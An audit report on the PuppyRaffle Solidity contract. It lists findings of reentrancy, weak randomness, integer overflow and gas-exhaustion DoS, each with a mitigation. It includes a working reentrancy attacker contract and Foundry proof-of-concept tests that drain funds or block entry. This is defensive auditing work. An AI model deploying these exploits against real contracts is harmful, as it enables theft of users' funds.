Protocol Audit Report

Version 1.0

Cyfrin.io

December 13, 2025

Puppy Raffle Audit Report

Dengi-XCVI

March 7, 2023

Prepared by: Dengi Lead Auditors: - dengi

Table of Contents

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 when it doesn't find the player but 0 is still a valid index
  - [L-2] Smart Contract wallets without a `receive` or `fallback` function will block the start of a new contest
- Gas
  - [G-1] Unchanged variables should be declared constant or immutable
  - [G-2] Storage variables in a loop should be cached
- Informational
  - [I-1] Unspecific Solidity Pragma
  - [I-2] Using an outdated version of solidity is not recommended
  - [I-3] Address State Variable Set Without Checks
  - [I-4] `PuppyRaffle::selectWinner` should follow CEI pattern, which is not best practice
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] State changes are missing events
  - [I-7] `PuppyRaffle::_isActivePlayer` function is never used

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The DENGI team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is

not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash: Commit Hash

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner: Deployer of the contract, can set the `feeAddress` which can withdraw the fees from the contract.
- Fee address: the `address` that can withdraw the collected fees from the contract

Executive Summary

The audit has been conducted using a combination of manual review and static analysis tools (Slither, Aderyn).

Issues found

Severity	Issues Found
High	3
Medium	1
Low	2
Info,Gas	9
Total	16

Findings

High

[H-1] Reentrancy attack possible in `PuppyRaffle:refund` function

Description: The `PuppyRaffle:refund` function doesn't follow the common Checks-Effects-Interactions pattern, making a re-entrancy exploit possible. The attacker might reenter the `refund` function through a `receive/fallback` function.

Impact: The impact is high, the attacker could possibly steal all of the contract's funds.

Proof of Concept:

First, in your tests, add the following contract:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
```

```
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _reenter() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    receive() external payable {
        _reenter();
    }

    fallback() external payable {
        _reenter();
    }
}
```

Run the following test in your test suite:

```
function testReentrancyAttack() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackerAddress = address(attackerContract);
        vm.deal(attackerAddress, entranceFee);

        uint256 startingAttackerBalance = address(attackerContract).
            balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        attackerContract.attack{value: entranceFee}();

        console.log("Starting attacker balance: ",
            startingAttackerBalance);
        console.log("Starting contract balance: ",
```

```
            startingContractBalance);
20          console.log("Ending attacker balance: ", address(
                attackerContract).balance);
21          console.log("Ending contract balance: ", address(puppyRaffle).
                balance);
22
23          // Assert that the attacker stole money from the contract
24          assertGt(address(attackerContract).balance,
                startingAttackerBalance + entranceFee);
25          assertLt(address(puppyRaffle).balance, startingContractBalance)
                ;
26      }
```

Recommended Mitigation: The state should be updated before any external interactions, below the correct code:

```
1  function refund(uint256 playerIndex) public {
2          // Checks
3          address playerAddress = players[playerIndex];
4          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
5          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
6
7          // Update state/Effects
8          players[playerIndex] = address(0);
9          emit RaffleRefunded(playerAddress);
10         // External interactions
11         payable(msg.sender).sendValue(entranceFee);
12
13     }
```

[H-2] Weak PRNG in `PuppyRaffle::selectWinner` function

Description:

Weak PRNG due to a modulo on `block.timestamp`, `block.difficulty`. These can be influenced by miners to some extent and output a predictable number. Users could also frontrun this function and ask for a refund before the winner is selected.

Impact: High, the outcome of the raffle could be influenced. The same goes for the selection of the puppy's rarity.

Proof of Concept: 1. Validators can now ahead of time `block.timestamp` and `block.difficulty` .Since `block.difficulty` was replaced by `prevrandao` check out the solidity blog on prevrandao. 2. Users can manipulate thir msg.sender to manipulate the outcome. 3. Users can revert the `selectWinner` transaction if the outcome doesn't match the one they wanted

Recommended Mitigation: Use Chainlink VRF, a cryptographically provable randomness generator.

[H-3] Integer overflow of `PuppyRaffle::totalFees` causes fee loss

Description: In solidity versions below `0.8.0` integers were subject to overflows/underflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar +1;
// myVar is now 0
```

Impact: In `PuppyRaffle::selectWinner`,`totalFees` are accumulated for the `feeAddress`. However if the `totalFees` variable overflows the `feeAddress` won't be able to collect the correct amount of fees which will be stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a raffle 3. `totalFees` will overflow and the fees amount will be incorrect 4. It will also be impossible to withdraf fees due to this line `javascript require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");`

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
```

```
            require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
               active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] DoS attack risk in `PuppyRaffle:enterRaffle` function, when looping through array for duplicates

Description: The double loop used to check duplicates in `PuppyRaffle:enterRaffle` function allows an attacker to DoS attack the system by making it run out of gas when the players array is too big. Also, players entering later in the raffle are paying a much higher gas cost.

```
1 // Check for duplicates
2         // @audit DoS attack possible here
3         for (uint256 i = 0; i < players.length - 1; i++) {
4             for (uint256 j = i + 1; j < players.length; j++) {
5                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
```

```
            }
        }
        emit RaffleEnter(newPlayers);
```

Impact: Medium impact, the attack makes the latest entrants in the raffle pay a lot more gas to enter, and eventually limits the participants when it causes an "EVM: Out of gas" error. The function is also not checking effectively for duplicates.

Proof of Concept: When running the following test, it reverts with an "EVM: Out of gas" error

```
function testDoSAttackOnEnterRaffle() public {
        uint256 largeNumber = 1000;

        address[] memory firstBatch = new address[](largeNumber);
        for (uint256 i = 0; i < largeNumber; i++) {
            address newPlayer = address(uint160(i + 100));
            firstBatch[i] = newPlayer;
        }
        puppyRaffle.enterRaffle{value: entranceFee * largeNumber}(
            firstBatch);

        address[] memory secondBatch = new address[](5);
        for (uint256 i = 0; i < 5; i++) {
            address newPlayer = address(uint160(i + 2e8));
            secondBatch[i] = newPlayer;
        }
        puppyRaffle.enterRaffle{value: entranceFee * 5}(secondBatch);

        address[] memory thirdBatch = new address[](4);
            thirdBatch[0] = playerOne;
            thirdBatch[1] = playerTwo;
            thirdBatch[2] = playerThree;
            thirdBatch[3] = playerFour;

        // Expects EVM error revert out of gas, which is message-less
        vm.expectRevert(bytes(""));
        puppyRaffle.enterRaffle{value: entranceFee * 4}(thirdBatch);
    }
```

Recommended Mitigation: I suggest using a `mapping(address => bool)` to keep track of duplicates.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 when it doesn't find the player but 0 is still a valid index

Description: `PuppyRaffle::getActivePlayerIndex` returns 0 when the player passed as a parameter in the funciton is not in the `players` array. This might lead to confusion since 0 is still a valid index in the array.

Impact: Low, it might lead to misunderstandings but not to critical issues

Proof of Concept: 1. User enters the raffle, he is the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks he is not in the raffle and tries to enter the raffle again, wasting gas

Recommended Mitigation: The function should revert with a custom error if the address is not found in the `players` array. Another solution might be the function to return an `int256` and return -1.

[L-2] Smart Contract wallets without a `receive` or `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery, however if the winner is a smart contract without a `receive` or `fallback` function the call `(bool success,)= winner.call{value: prizePool}("");` might fail and the function will revert. In this case, another winner needs to be selected, resulting in more gas spent.

Impact: Low impact: the winner can easily be seected again. But if there are more bad smart contract wallets in the raffle, a lot of gas might be needed to end the contest.

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended) Also called `Pull over Push` pattern.

Gas

[G-1] Unchanged variables should be declared constant or immutable

Reading from storage is much more expensive than reading immutable or constant variables

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::legendaryImageUri` should be constant

[G-2] Storage variables in a loop should be cached

```
+ uint256 length = players.length
- for (uint256 i = 0; i < players.length - 1; i++) {
```

Informational

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of solidity is not recommended

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 203

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI pattern, which is not best practice

```
1 -     (bool success,) = winner.call{value: prizePool}("");
2 -     require(success, "PuppyRaffle: Failed to send prize pool to winner
    ");
3       _safeMint(winner, tokenId);
4 +     (bool success,) = winner.call{value: prizePool}("");
5 +     require(success, "PuppyRaffle: Failed to send prize pool to winner
    ");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase abd hard to understand what they mean. Using named variables is generally considered better practice.

[I-6] State changes are missing events

It is good practice to emit events at least on the most important state changes

[I-7] `PuppyRaffle::_isActivePlayer` function is never used

The function `PuppyRaffle::_isActivePlayer` is never used so it should be removed.